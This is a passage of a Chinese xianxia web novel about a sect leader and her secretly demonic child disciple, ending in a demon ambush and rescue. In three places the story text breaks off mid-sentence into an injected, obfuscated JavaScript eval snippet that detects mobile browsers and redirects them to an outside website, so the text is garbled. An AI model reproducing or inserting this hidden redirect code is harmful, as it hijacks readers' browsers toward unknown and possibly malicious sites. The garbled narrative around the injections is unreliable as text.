事情交代得差不多,作为沈氏后人,沈梦华对永州和元州之间的局势恐怕了解得比她这个半路出家的峰主要多。阵法图纸以及从詹光远手中得到的那块缺角玉佩、连带搜出来的记忆都已传送回昆仑。 崔扶仙东西也给了,见他们安置妥当,便准备带一直安安静静贴在身侧的孩子离开。 然而,转身前沈梦华突然叫住她。 “峰主,您身边这位是?” 沈梦华右手握着那块从见面起就不住发出光亮的玉石,犹豫两瞬,终是将目光落至那瘦小的脸上覆着黑纹的女孩身上。 警惕盯着玉石,小魔右手被师尊牵住,左手抱着望舒,与这位沈师姐对视一眼后沉默垂下脑袋,连在崔扶仙面前的伪装都不曾摆出。 她这几日情绪不高,总有些提心吊胆,现在被沈梦华拦下,心里头已对那块小小的石头有了十来种猜测。 总归对她不是什么好东西。 宽袖自她左侧脑袋边上滑落,女人松开小魔的手,转而半揽住她,直视这个沈氏后人:“她是我刚收的亲传徒儿。之前随我入城主府查探时中了魇魔诡计,至今体内还有魇魔魔气残留,我欲带她回昆仑静养。” 是这样吗? 手中玉石光亮太过耀眼,隐隐震颤,不住发热。 沈梦华松开了指尖,柔柔露出一抹笑,自储物袋中取出块护身玉佩递给崔满:“原来是崔师妹。师妹勿要见怪,我这石头总是时灵时不灵的。” 危机感稍褪,脸颊侧边落着的袖摆上沾着师尊独有的香味。小魔被师尊的气息圈住,瞳孔深处极具攻击性的色彩渐渐散去,这会儿抬头看了看崔扶仙,见女人颔首后立刻朝沈师姐腼腆弯眸。 她声音很轻,带着些大病未愈的无力:“谢谢师姐。” 沈师姐弯腰摸了下她的脑袋:“不客气,祝师妹早日康复。” 压住想要躲避的冲动,小魔尽量放软姿态,抿着嘴角直笑,没有再说话。 她不喜欢师尊和望舒以外的人碰她的头。 从雁来城回昆仑要跨过永州境域,崔扶仙提前询问过崔满,得知她更想尝试飞舟后便去现买了座,现在要出城放出法器。 雁来城城主府被灭,人肉祭坛的幕后真凶亦未落网,如今人心惶惶,修为低下的修士选择离开、以求自保,城池中显得萧条了不少。 元州的城主都是修士历经试炼后由天道所封,但往后数年恐怕都没几个人会想来竞争雁来城城主之位。 “把玉佩给我。” 沈梦华或许看不出崔满的异样,但崔扶仙养了她这段时日,对小魔头一些反应还算清楚。方才见她眼睛虽弯着、嘴角却不自觉地往下撇,不由得有些好笑。 没有异议,小魔将才准备装进储物袋的玉佩乖乖上交。 女人并指于这件品阶颇高的护身法器上划过,毁了其中藏着的感应魔族气息的运转阵法,继而丢还:“以后不喜欢人家碰你就直说,不必忍着。” 不知师尊在上头做了什么,崔满抓着玉佩反复打量,闻言后脚步一顿,低声否认:“师尊,我没有不喜欢沈师姐碰我。” 不过摸个头,若说不喜欢,未免显得她小气。 崔扶仙不理她的鬼话,眼睛都没低一下。 果不其然,又过了会儿,快走出城门时崔满把玩着玉佩忽然道:“如果直说,会不会不礼貌?” 崔扶仙在空中放出飞舟,足下轻点,提着小魔的衣领瞬间飞去。 将手里的小鬼放下后她抚了抚衣襟,总算给了小魔头一个眼神:“你是我的徒儿,可以不礼貌。” 崔满眨了眨眼睛,又想起什么,连忙抱着望舒跟在师尊后边小声解释:“师尊,我对您碰我没意见,我只是不适应陌生人靠近。” 飞舟已启动,外头风景变幻得很快。 崔扶仙往舱内行去,打算继续修炼,这会儿头也不回,淡淡道:“我是你师尊,你不喜欢也得喜欢。” —————————— 昆仑山位于玄州赤水一带,名为群山,实则是一处由前辈开辟出来的独立空间,里头地域辽阔无际。 其中以北斗七星命名七峰,天枢峰为掌门一脉,开阳峰为外门门徒所在,剩下几峰各以剑、法、符、药、音为主修而划分。 崔扶仙当上瑶光峰峰主的过程非常简单粗暴。 那几十年里她不断修炼晋升、不断挑战当时的瑶光峰长老,将主峰侧峰上十来个长老一一打倒后直奔议事殿前的广场,以灵力敲响了悬在广场正中的巨剑,光明正大邀请当时的峰主时云鹤登擂台一战。 结果显而易见。 可怜时云鹤一个剑痴,战败后丢了峰主之位不说,还被现任这位比她更不管事的道痴扔去做瑶光峰的大长老、专门给崔扶仙算账管理门徒。 上任第一天,近百年都没怎么管过事的时长老跟一桌子文书大眼瞪小眼,暗下决心一定要打倒崔扶仙这个狂妄小辈抢回峰主之位。 但现实很骨感,崔扶仙还呆在瑶光峰上时她在算账,崔扶仙跑去元州捡徒儿时她在训侧峰门徒——她尚未收徒,竟不知这些小兔崽子有这般烦人。 简而言之,她已经很久没跟自己的宝贝剑独处一室。 “崔扶仙!你还晓得回来!” 刚将飞舟落至广场上就听见议事殿里传来道阴森森的声音,崔扶仙把小魔拎下船,抬眸望去,一个灰色长袍、不施粉黛的女修缓缓从殿中走出,背后仿佛飘了团黑雾。 主峰上有不少长老门徒往来,此时纷纷若无其事地避开,各回各家各练各剑,不想插入峰主和大长老的斗争。 当事人之一倒平静得很,随意给小徒介绍:“时云鹤,瑶光峰大长老,管钱管人。以后我不在,你有事就找她。” 路上师尊为她做了个灵器遮掩体内尚未除去的魔气,崔满这会儿没之前那般提心吊胆,乖觉躬身行礼,却被时云鹤堵住了话。 “别,不许来找我。” 时大长老早知道崔扶仙收徒之事,眼睛一扫就料到这小女孩是谁家的,不耐皱眉摆手:“谁收的徒儿谁管,我可没功夫给你照顾徒儿。” “你过来,我有事跟你说。” 大长老率先甩袖转身,崔峰主哪里会怕她,仅落后一步叮嘱小徒:“跟望舒去后边,里头有花园,你自个儿玩会儿。” 崔满的眼睛在师尊和时长老之间来回转,爪子还放在小雀身上乱摸:“师尊放心,徒儿晓得了。” 忍耐许久,小雀用力啄了她一下,展翅飞至小魔脑袋顶,抖着羽毛头也不回地往前冲去。 崔满只好小跑追上。 “有什么事,说罢。” 崔扶仙进入大殿后径直坐在最靠近的椅子上,连旁边的茶水也懒得倒。 索性这里站着的是个同样不喜繁文缛节的剑痴,对她的行为毫无感觉,抱胸靠着桌面,当真有话直说:“我不当这个大长老了,你另寻高明。” 峰主婉拒:“暂时找不到比你更合适的人选,你不当也得当。” 怒上眉梢,时云鹤拍桌:“崔扶仙,你强买强卖是不是?” 正通过小雀眼睛观察小魔头一举一动,崔扶仙瞧着小魔这会儿好似被一个差不多大的女孩堵在后头走道里,手指不觉点了点桌面,对时长老的怒火给出轻飘飘的回复: “你不冷静,等你冷静了再跟我说话。” 简直火上浇油,险些给时云鹤气笑。 时大长老捏了捏眉心,忍气吞声:“你要如何才能放我走?” 崔扶仙暂且收回落在小魔头身上的视线:“你能走吗?你的剑不养了?” “谁说我不养剑了?” “养剑需要灵石,灵石从哪儿来?你现在出了瑶光峰,其他哪个峰会要你?瑶光峰上除了峰主,就大长老的俸禄最高。” 确实没剩多少钱,时云鹤摸摸腰间挂着的长剑,顿时哑口无言、黯然失色。 她才给自己的宝贝剑炼化了一次、换了身漂亮外壳,用的还是冥海里头最好的冰晶王,如今储物戒中存款不多,都不知够不够下次炼化。 见她不再开口,崔扶仙拂拂衣袖:“为了你的剑,忍忍吧。” “你努力修炼,等哪天把我击败,不就能重回峰主之位、无需再做那些繁杂之事?” 一口咬下崔峰主丢的大饼,时长老发狠道:“你且等着,总有一天我也叫你来尝尝这大长老的滋味。” 五十年里没可能。 五十年之后她死没死都难说,谁要当大长老。 崔扶仙无所谓:“静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔满唇瓣动了动,似是想说什么,最后仅是拔剑。 先前教过崔满几招剑法,正好看看成果。 小雀飞至不远处树枝上旁观。 到家发现熊孩子失踪的程长老先崔扶仙一步找到打作一团的两个女孩。 她在广场上远远瞧过,晓得这是峰主新收的亲传,如今看着崔满身上被扯坏的衣裳,简直天都塌了。 正拎着兔崽子的耳朵逼她跟峰主徒儿道歉,一瞥眼的功夫峰主也来了。 程长老尴尬行礼:“峰主,这……实在对不住,小女被我宠坏了,竟闹出这样的事。程萤秋!快给人家道歉!” 后脑门结结实实挨了一下,程萤秋暗自磨了磨牙,迫于老娘的威压,硬邦邦地朝着崔满弯腰,满脸不服气:“对不起!” 崔扶仙看了眼这小丫头被打青的嘴角和鼻子,扬了扬眉梢,没做声,转眸去瞧自家小徒的反应,目光扫去之际却是顿住。 把人家打得鼻青脸肿的小魔头脸上没怎么破皮,现在满眼水花,低着脑袋当着几人的面偷偷抹泪,鼻尖通红,一张嘴就是哽咽:“……你没对不起我,你对不起的是望舒。” 小魔头比当事鸟还要委屈可怜,咬着嘴巴忍泪,抽抽泣泣地控诉:“你对我有意见就冲我来,做什么去打它?还拿剑打!它只是一只小雀,哪里受得住你这样?” 粗略看完存在望舒脑子里崔满小发雷霆的全过程,崔扶仙神色略显古怪,忍不住抬手扶额。 刚才没见过这副表情啊,死鱼脸突变委屈小狗,程萤秋看得一愣一愣的,一时间居然想不出什么话来反驳:“我……” 后脑门儿又挨了一下,程长老怒道:“你什么你!快给人家望舒道歉!” 给孩子哭的,她都没脸抬头见峰主。 暴力制裁成功,前来挑衅的程姓女孩顶着开始发肿的嘴角,憋着气朝树上那只鸟鞠躬,一个字一个字从牙齿缝里挤出来:“对.不.起!” 受害者不语,只一味心疼抚摸着手帕里那两根泛蓝的羽毛,眼泪止不住地往下掉。 目送程长老提着女儿逃也似的跑远,崔扶仙收回视线,这只收下人家一堆灵丹灵药当补偿的戏精小魔头还在哭。 看见她当宝贝似的捧着那两根羽毛就感觉浑身不自在,崔扶仙趁她不注意收回小雀,抬手敲了敲崔满脑袋:“好了,人都走了,别哭了。” 崔满耷拉着眉眼,将手帕仔细收好,小声自责:“师尊,您也别怪那个程萤秋,是我没本事,没保护好望舒。” “都是我不好。” 这话说得体贴又懂事。 师尊却不吃这套,捏了捏她脸颊上新养出的软肉,意味深长道: “小满,你这个年纪该喝的是奶,不是茶。” 8. 第八章 道魔双修的功法秘籍不好找,能走这条路的皆是离经叛道、行事邪肆之人。这种人自己有没有成文功法都难说。就算有,他们死后又是否肯将自己的功法秘籍留下以及他们的修炼之道是否适合其他人? 领崔满回昆仑后的前五年,崔扶仙匿名于九州天机阁发布悬赏令寻求一份能令魔气与灵力共存的法子。着实惊世骇俗,引起好一番争议和猜测,但至今无人接下悬赏,只能由它日复一日地挂在那儿。 与此同时,她将自己钻研出的成套剑法尽数传授给小魔。 崔满聪慧、一点就通,剑法前半部分学得很快。奈何修为限制,学到后半截时屡遭挫折、一次次卡住。 第八年,曾经比同龄人还要瘦弱的孩童已至十来岁,如柳枝抽条般迅速长高,是个勉强能到崔扶仙肩膀处的少年人了。 剑法符箓,甚至丹药医术,崔满都能称得上熟知,本该跻身少年天骄一列,偏偏修为一直凝滞于练气后期——这还是她躲着师尊忍下剧痛熬来的结果,原本她只有练气中期。 而与她同辈之人,诸如那程萤秋都早早突破了筑基中期、正在冲击筑基后期。 有些事不必用口舌去说,一个眼神、一个微妙表情便足以似细针般扎入心肺。 瑶光峰主峰分前、中、后三殿,各以结界屏障隔开。 前殿为议事殿,峰主与长老处理正事、接待宾客之处。后殿是峰主及座下亲传修炼起居之所,考虑到峰主收徒数量问题,这实则是以空间术法开辟出来的私人领域,可以随峰主心意变幻。在这个领域当中,一切大小、陈设与房屋数量都由峰主决定。 中间隔着专门用于休憩的场所,布局更似园林,水榭亭台应有皆有,以较长的走道与两侧花园连接前后。 崔扶仙座下仅有一个徒儿,她亦不热衷于布置居所,因此撤去前任峰主所留之物后她如今占据的后殿显得十分空荡冷清。除了她与崔满的寝室外只留下两间修炼禁室与两间书房,外加一个招待和集会用的大堂。 最近没空闭关,她正在书房里查看一些元州修士所著的以武入道的功法,忽而听见外边有人敲门,随即传来小魔头软软的一句师尊。 “进来。” 崔扶仙暂且放下书卷,抬眸看去:“怎么了?” 背着手走至桌前的小姑娘穿着身月白裙衫,乌黑茂密的头发松松扎成根大麻花辫披在身后,脸颊上的墨色纹路早随她逐渐长大而莫名隐去。此刻睁着双水润杏眼盯住师尊,慢吞吞说明了自己的来意。 八年一晃而过,小魔不似当初那般拘谨,话音落下后试探着挪到女人身边,两根手指悄悄捏住女人雪白的袖摆,一摇一晃地小声撒娇:“师尊,好不好?” 这么长时间,养条狗都养出点感情了,何况是只小魔? 崔扶仙待她比旁人要宽容许多,由着她动作,只反问:“你想下山历练,我也不拘着你。不过这个任务的妖邪或许有金丹修为,你可寻到同伴?” 当年的人肉祭坛至今未破,虽然这几年并未再次出现类似之事,但不晓得是谁放出风声,如今永州与玄州、元州间关系诡异,人魔两族更为敌视。 外头不太平。 “师尊不要担心,徒儿已找到啦。” 崔满为女人殷勤倒茶:“是程萤秋,师尊你认识的。” 还算受用,崔扶仙接过茶盏,捏着盖子拨了拨上头浮着的茶叶,闻言后瞥了这小魔头一眼:“程萤秋?那丫头愿意跟你组队?” 小魔面露无辜之色:“为何不愿意?她现在是时长老座下亲传,已经不想跟徒儿竞争做您的首席亲传了,我们早就和解了。” 话罢,她信誓旦旦地保证:“师尊放心,她不会欺负我的。” 是怕你欺负人家。 崔扶仙微微摇头,拍开这个面白心黑的小魔头还揪在衣袖上的爪子,自戒指中取出早做好的镶玉银镯:“你心里有成算就好。下山时把这个带上,里头有我的灵力和你今年的生辰礼物。” 小魔哪里知道她真正的降生日期,她的生辰是那位阿婆将她带回去收养的日子。 崔扶仙独来独往惯了,自己不过生辰,也没想到给徒儿过。还是见昆仑中一位溺爱徒儿的长老给座下亲传举办五十岁庆生宴时才反应过来。 那会儿恰好崔满再一次冲击剑法后册失败,整日闷闷不欢,挂在天机阁里的悬赏令又无人接下。崔扶仙瞧她埋着脑袋不愿出门的可怜样,干脆问了她的生辰、给她准备了份生辰礼,全当哄徒儿开心。 这是崔扶仙送出去的第五份礼物。 崔满定下的生辰在冬日,她这次下山试炼大概是赶不回来的。 默然接过银镯,崔满低眸细细抚着上头精致的纹路,眸中极快地闪过丝复杂之色,随即扬起笑脸:“……多谢师尊,徒儿回去再打开瞧。” 这点事她自己决定就行,崔扶仙摩挲着手里的书卷,稍稍犹豫了几瞬要不要将最近的发现告诉小魔。 总不能一直把希望放在见不到踪影的东西上,她这两年开始翻看元州那边以武入道的修士所著功法。但毕竟是人族所创,大部分练到最后进入武者所称的破尘之境时仍需吸纳天地灵气进入丹田、化为己用。 研究进度缓慢,直到前段时间崔扶仙从通天阁角落里翻出几本佚名著书,里头记录了些新颖的观点。若是切实可行,或许能解决崔满现在的困境。 脑中念头转了两转,崔扶仙最终还是按捺下去。 等确定好了再说罢,如果又竹篮打水一场空,某只小魔头难免要哭。 见师尊良久没有出声,崔满乖觉,捧着镯子轻声告辞:“师尊,若无事我便先回去了,明日早晨我就与程萤秋出发。” 崔扶仙嗯了下,又问:“可要望舒跟着?” 确实许久没见过望舒,崔满有些心动,思考后遗憾拒绝:“徒儿这次想自己试一试。” 她素来是个要强且有野心的孩子,崔扶仙亦不是事事都要包揽的慈师心肠,见她态度果决就没再多说,挥手示意她出去。 小魔躬身行过一礼,行至门口时忽而听女人嘱咐: “你头一回下山历练,若遇上魔族,切记离远些。” 脚下蓦然一顿,崔满低着头,额前些许散发将她瞳孔中的光掩得晦暗。 几乎不曾犹豫,她的声音如往常般恭顺。 “师尊放心,徒儿晓得的。” ——————— 镯子里装的是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899717|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把极品灵剑。 崔满将它捧放至桌面,指尖爱惜按上剑身中央红玉般的耀眼纹路,能够从中感知到一股极为强大且纯粹的火系力量。 【怎么,这就感动了?】 神识中兀然响起道成熟女子的声音,崔满眉头紧皱,在崔扶仙跟前的无害模样全然褪散,目光朝身旁扫去,果然见一团红雾神不知鬼不觉地出现在身旁。 红雾凝做人形,那张脸赫然是她长开后的模样。 【她惯会玩儿这套把戏,送点小恩小惠就想要换别人的命。】 不知为何,红雾看见那柄还覆着崔扶仙气息的灵剑时情绪猛地激动起来,血瞳狰狞,抬手就要朝灵剑击去。 侧身挡在灵剑前,崔满脸色阴沉,早试探出她无法伤害自己,并不将这道近日出现于神识中的残魂放在眼里:“要发疯就滚远点,这是我师尊送我的生辰礼,干你屁事。” 小魔着重咬了其中三个字。 红雾恨铁不成钢:【冥顽不化,你分明知道她不过在诱哄你、骗取你的好感。】 “那又如何?师尊要我的好感,我要师尊庇护教导,我们各取所需。” 崔满嘴上说得满不在乎,心下却恼恨,此时仗着屋子里有屏蔽阵,毫无顾忌地对着红雾露出尖牙,满是恶意地讥讽:“收收你的表情,别用我的脸做出这副模样,真恶心。” 【放肆!】 残魂勃然大怒,一双眼睛彻底化作猩红竖瞳,暴戾杀意顷刻间压至崔满肩上,叫尚且年少的小魔不住警惕后退两步、指尖暗自捏住崔扶仙为她做的剑符。 视线自小魔手中的剑符扫过,红雾不屑嗤笑:【这驯养魔族的手段还真是一点没变。】 喜怒无常的疯子。 崔满不愿再与这个疯子谈论师尊,见她收势后也慢慢放开剑符,反手将师尊为自己准备的生辰礼妥当收起:“你确定赤水边上是魔族作祟?” 【他们的味道我闻得出,你只需按计划行事。】 红雾嫌弃打量了崔满两眼:【她倒真有本事,好生生一个魔族,养到现在连魔核都没苏醒,居然还在练人族的功法。】 崔满反唇嘲弄:【师尊不知我是魔族,情有可原。倒是你,口口声声自称魔君,却连我为何没能苏醒魔核都探不出来。】 红雾重新涌入她的神识,恨声道:【本座早就说过,我被崔扶仙这个奸人所害。如今只剩一缕残魂,功力不复从前,自然……】 不耐再听疯子胡编乱邹,崔满紧紧拧眉,冷声打断:【你之前连害你的人名字都叫不出来,现在倒知道了?】 【我师尊满打满算不过百来岁,如何害得了你这个万年前的魔君!】 四下骤然寂静,连带着脑中的声音都消失无影。 原以为那不知怎么钻进自己神识中的残魂终于能消停,崔满等了会儿,随后自顾去做自己的事情,不欲在她身上浪费时间。 然而,又过半晌,神魂深处的意识短促惨笑,颠三倒四地喃喃自语: 【百来岁?不可能,她早早拿着我的头颅去向人皇献诚,当年便已求得她心心念念的大道飞升,怎么可能只有百来岁?】 【你又被骗了!她最会哄人,你又被骗了!】 9. 第九章 系统已有数年未曾出现。 雁来城人肉祭坛一事之后它就甚少在崔扶仙神识中发声,后来更是消失无踪,连崔满十五岁时偷偷引灵气入体突破修为而昏厥不醒都没有动静。 由于元州之事是崔扶仙亲自插手调查,阵法图纸与一些模糊的记忆片段也由她传送回昆仑,因此贺知雪聚集几位峰主商谈此事时总少不得叫上崔扶仙。 但事情一次次陷入僵局,模糊记忆中闪过的脸无法对应到明确的个体。天璇峰峰主应平山主修阵法符箓,那张阵法图纸由贺知雪交给她去研究。隔了将近一个月,应峰主面带怒容前往天枢峰回禀,却说那张阵法图根本就是错误的。 “阵法脉络皆需应法则运行,而这张阵法图上画的分明是逆行阵。除非万年前那位以阵入道的人皇在世,否则根本无法运转!” 应平山将自己从正反两面反复演算而来的图纸递给掌门,上头布满了密密麻麻、错综复杂的阵法脉络,最终导向之处却都被她用红色墨水打上了巨大的叉。 应峰主进来前崔扶仙亦被掌门唤去,此时正坐在侧边,远远扫了眼那几张图纸,突然开口:“说不定呢?” 这么长时间都无所收获,贺知雪脸色不好,闻言后一愣,实在分不清她是开玩笑、还是当真,只听她自顾分析:“当年人皇在三族之战中伤势惨重,若想活到现在难免要借用些手段,说不定就是她在作祟呢?” 话至末端,这位素来不苟言笑的崔峰主竟弯了弯眉。 美色误人。 应平山目光微顿,继而在心下唾弃自己,抬手扫了扫肩膀上冒出来的鸡皮疙瘩:“崔峰主别说笑了,着实渗人。” 万年前的人皇如果还没死……噫。 贺知雪亦反应过来,无奈抬手隔空点了点崔扶仙:“这话在这儿说可以,出了这个门可要谨慎些,若叫旁人听去就不好了。” 昆仑里有不少永州出身的门徒,叫他们听去,少不得一个不敬人皇的罪名。 见两人这副反应,崔扶仙不置可否,只陡然地想起了那个自称天道使者的系统。 这几日她趁闭关的功夫沉入神识、循着曾经定位过的地方一一搜寻,却并未发现神识中有丝毫系统的踪迹。 所以,它究竟在哪里? 或者说,它真的是系统吗? ————————— 昆仑山下、临近赤水河处有妖邪作祟,不过受伤的尽是些练气至筑基期的修士,昆仑中负责巡察的修士观察数日、抓住几只小妖后在上报时便将妖邪的修为定为筑基至金丹期。 此类小妖不必惊扰各位峰主与长老,都是直接挂去门内悬赏榜,由门徒接去任务、下山了结,全当给门徒的历练。 崔满惜命且谨慎,再三询问过负责悬赏榜的修士这个任务的具体情形,又向神识里那道残魂反复确认这些魔族的修为,随后才主动邀请瑶光峰那个莽撞愚蠢却还算刚直的程萤秋与自己同去。 真出什么事,就将这人踢去前头挡着,勉强算张肉盾。 她多年止步练气,曾将她视为眼中钉的程萤秋看她的眼神逐渐从敌视转向怜悯,拜入时云鹤门下后不再寻她的麻烦。 红雾自体内涌出,幻化人形坐于桌面,见崔满还在挑挑拣拣地往镯子里塞剑符、护身法器之类的杂物,不耐敲桌:【胆小如鼠,本座说了,山下藏着的不过几只筑基期小魔。】 谁搭理她,崔满头也不抬,继续自己的动作。 残魂绕着她转了转,不屑扯着嘴角嘁了。刚准备回去,却想起什么,忽然定住:【你不去拜别崔扶仙?今天你还没去见她。】 受不了这觊觎师尊的疯子,崔满冷着脸瞪她:“那是我师尊,我见不见她关你什么事?离我师尊远点儿。” 【谁说那是你师尊,崔扶仙明明是我师尊,她亲过我无数次……她亲过你吗?你晓得她动情的时候有多美吗?】 又开始说疯话,昨天还是仇人,今天就变成了亲来亲去的师徒。 崔满虽晓得师尊是借自己修炼,但毕竟在师尊膝下养了这些年,哪里听得了如此露骨的当着她的面肖想意.淫师尊的话。 心下反胃,小魔忍无可忍拔剑挥去,将那道残魂重新斩为红雾。 不等残魂再次开口说垃圾话,她警告:“我还没成年,少在我面前发.情。” 尤其是对师尊。 “再有下次,我就把你送到师尊那儿去。师尊厌恶魔族,估计会让你再死上几遍也说不定。” 【你还没成年?】 红雾怔然,一时未恼,上下打量过小魔后噗嗤笑了起来,全然没管她后面那句威胁:【倒是我忘了,你还是个乳臭未干的毛崽子,看来她真没亲过你。】 愉悦飞回崔满神识,残魂哼着不知名的小调,炫耀似的一遍遍在崔满脑子里重复:【她只亲过我。】 简直烦不胜烦。 小魔咬牙反手砍碎张椅子出气,阖眸缓神片刻,却听窗外有东西在敲。 打开一看,正是程萤秋送来的纸鹤,刚落在崔满手上就被接通,对面传来道趾高气昂的抱怨:“崔满,死了没啊?怎么这么慢,我都等你好久了!” 本来这位就够讨厌的,但跟脑子里的鬼东西一比,竟是小巫见大巫。 崔满挥袖扫去地上椅子残骸,低眉理齐衣襟:“来了。” 出门前她下意识朝师尊的寝殿看去,大着胆子悄悄放出神识探了探,里头好似没人。 师尊勤勉,大概还在禁室或书房中修炼。 ———————— 小魔头离开时崔扶仙正坐在禁室蒲团上打算修炼一会儿放松放松,这几日天天看那些功法秘籍,看得她眼睛都有些疼。 哪里感觉不到崔满鬼鬼祟祟放出神识扫来扫去,她心下好笑,猜测是在寻自己,却没出去。 都这么大了,下山历练难不成还要师尊跟着? 然而,并未能够静心修炼。 崔满离开的当天晚上,失踪许久的系统忽然在脑中尖叫。 【你都干了什么?】 修炼被迫中断,崔扶仙睁开双目,还未开口便听系统火急火燎地催促:【愣着干嘛?快去救人啊!再慢点儿你家那魔头就该死了!】 女人拧眉:【说清楚点。她不过下山去处理几只小妖,身上还有我的剑符,怎么会死?】 系统恨得咬牙切齿:【小妖?什么小妖?分明是个大乘期的魔族!你自个儿去看看!】 话至最后,它的声音中溢出几分机器本不该有的狠戾:【这群魔族是疯了吗?这么多年了还是不老实,欠收拾!】 暂且顾不上它,听完第一句后崔扶仙豁然起身,瞬间消失于禁室之中。 外边已有几位长老与峰主往山下飞去,贺知雪站天枢峰广场上,神情森寒地与身旁修士交代要事,一眼看见道白影从天边闪过,立刻扬声唤:“崔扶仙!” 那人孤僻惯了,管也没管她,头都不回一个。 掌门叹了口气,揉着眉心沉声询问:“可曾查到那群魔族究竟是怎么靠近的?” 她身旁的青衣修士躬身回复:“目前只知道赤水边的结界破了一层,其余的还在调查。” “尽快。” 不止昆仑山上一片哗然,昆仑山下更是满地尸身。 除了下山历练的门徒,赤水边另有许多往来行走的修士。如今碰上这群狡诈的诱引他们聚集到一处的魔族,一时间死了不知多少个人。 身上存着的剑符快要用光,崔满修为太低,此时躲在一颗树后吐了口淤血,手中抓着枚按照残魂的指示从一个金丹期魔族体内挖出来的魔核。 【好了,吞下这个你的魔核肯定能苏醒。】 神识里的疯子还在自说自话,似乎很满意。 崔满没空搭理她,只将那颗拼死取来的魔核塞入镯子。 她可没忘之前向残魂求证赤水边魔族修为时这疯子信誓旦旦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但随后响起的并非是她的惨叫,而是身后大魔的嘶嚎与一声凄厉啼鸣。 熟悉的香气顺着冷冽的风飘入鼻尖,小魔尚未反应过来,还在发抖的身体便落入一个温暖的令她感到安心的怀中。 来人并不恋战,抱起她后就朝昆仑飞速掠去。 崔满又惊又喜,抬起头想唤师尊,目光却遽然僵在女人溢出猩红血液的唇角。 此时什么都来不及说,崔扶仙单手搂着小魔头,右手长剑不住垂落黑红魔血。因怀中有只修为低下的小魔要护着,动作难免显出滞缓、以防为主。 大乘期的魔族至少是魔域一方领主、甚至魔君身边的大长老,为何会突然如此放肆地出现在昆仑山下? 她虽斩下对方两只魔爪和一只眼珠,却被击碎神魂所化的望舒,背脊至腰腹处也好似被魔气割裂。 打算先将崔满扔进昆仑结界里,随后再来处理这些魔族。 崔扶仙动作干脆利落,只将挡路的魔族击杀,并不回头纠缠。 “师尊!小心背后!” 怀中老实抱着她脖颈的小魔猛然高呼。 崔扶仙亦察觉到了,迅疾侧身避开袭来的腥臭魔气。手中长剑铮鸣,刺骨寒霜混合着凌厉剑气顷刻翻涌而出、直击身后扑来的大魔。 击中了。 但霜雪之下,半身泯灭的大魔对她们咧嘴露出染血獠牙。 崔扶仙瞳孔微缩,正欲闪身,却已来不及。 凭空出现在她们身后的裂缝瞬间伸出万千魔爪,将她们死死拖住、拉入其中。 最后一刻,崔扶仙仅来得及翻身将崔满紧紧拥住,以后背抵住那些尖锐利爪,重重摔落在崎岖不平的岩面上。 眼前蓦然一黑,起初的麻木散去后剧痛混杂着她藏在唇中的鲜血一同涌出。 怀中的小魔好似在不安分地挣扎,耳畔仿佛有许多声音在说话。 女人脸上血色褪尽,瞳孔逐渐涣散,强撑着调动所剩无几的灵力于地面刻下道阵法。 脑中的筋兀地断开,她再无意识,抱着小魔的手无力滑落,身子斜倒下去。 一只手慌张叠至她头下,没有让她撞到岩石 “师尊!” 10. 第十章 唇间抿着腥甜的水。 神识中撕裂般不住发疼,女人意识模糊,下意识由着身体本能做出吞咽动作,舌尖微卷,在昏昏沉沉间莫名迷恋这股味道。 如同灵丹妙药,腥甜的液体顺着喉咙淌下去后疼痛竟渐渐缓和,绽裂的皮肉以极快速度愈合,力气重新涌入四肢。 很暖和,只是本就模糊的意识愈发麻木、思绪运转得越来越迟缓。 神魂深处陡然间爆发幽蓝灵光,寒气震动不休,毫不客气地将擅自侵入内部的黑红色不速之客一口吞下。 崔扶仙猛地睁开眼睛。 视线有两瞬朦胧,随即凝实,她看清了自己吃下的东西。 哪里是水? 分明是黑红的血。 而那割开手腕给她喂血的始作俑者见她睁眼还挺激动欣喜,此时惨白着一张脸、通红着两只眼睛,不像小魔头,更像受欺负的小兔,抱着她连连唤:“师尊!你醒了!” 头还枕在小魔腿上,崔扶仙拧眉捏住她不断往外冒血的手腕,脸色极冷。但顾忌着身在异处,并未浪费口舌去追究——身上伤口的迅速愈合与方才迟钝的意识已经令她隐隐猜到些东西。 她想起了当年那个收留过崔满几年、大限将至又诡异存活的村中老妪。 不晓得这是什么鬼地方,体内灵力被封住一样所剩无几。望舒被击碎,神识受损,崔扶仙如今能使出来的实力仅有三成,更别说旁边这个炼气期的小魔。 身上尽是血污,实在受不了。 崔扶仙用洗尘符为自己与崔满稍稍清洁了下,撑着岩面一点点坐起,继而取出储物戒中的纱布给一声不吭盯着自己的小魔头包扎手腕。 最后打结时她故意用了点力道,小魔立刻闪烁出可怜兮兮的泪花,耷拉着眉眼小声喊:“师尊,疼。” 当初崔满心急、背着她吸纳灵力突破修为,昏迷了整整七日,醒来后看见她时也是这副神情、也是如此喊疼。 才不会被这最会阳奉阴违的小魔头骗去,女人轻飘飘地扫了她一眼,摸出丹药粗暴往她嘴里塞去:“这会儿知道疼了?” 并未料到师尊会是这样的反应、竟什么都没问。 崔满咽下丹药,纱布下的伤口早止住了血。 她低下眼睛避开女人的目光,手指缠在一起搅来搅去:“师尊一直不醒,喂了药也不醒,我……我害怕。” 话罢,小魔头识相认错:“师尊别生气,小满知道错了。” 没工夫搭理她说的是真话假话,崔扶仙不冷不淡地哼了下,拾起丢在一边的长剑撑着站起身,仔细观察四周,却见一派被炙热火焰舔舐过的荒凉,到处都是崎岖起伏的望不尽头的赤红岩石。 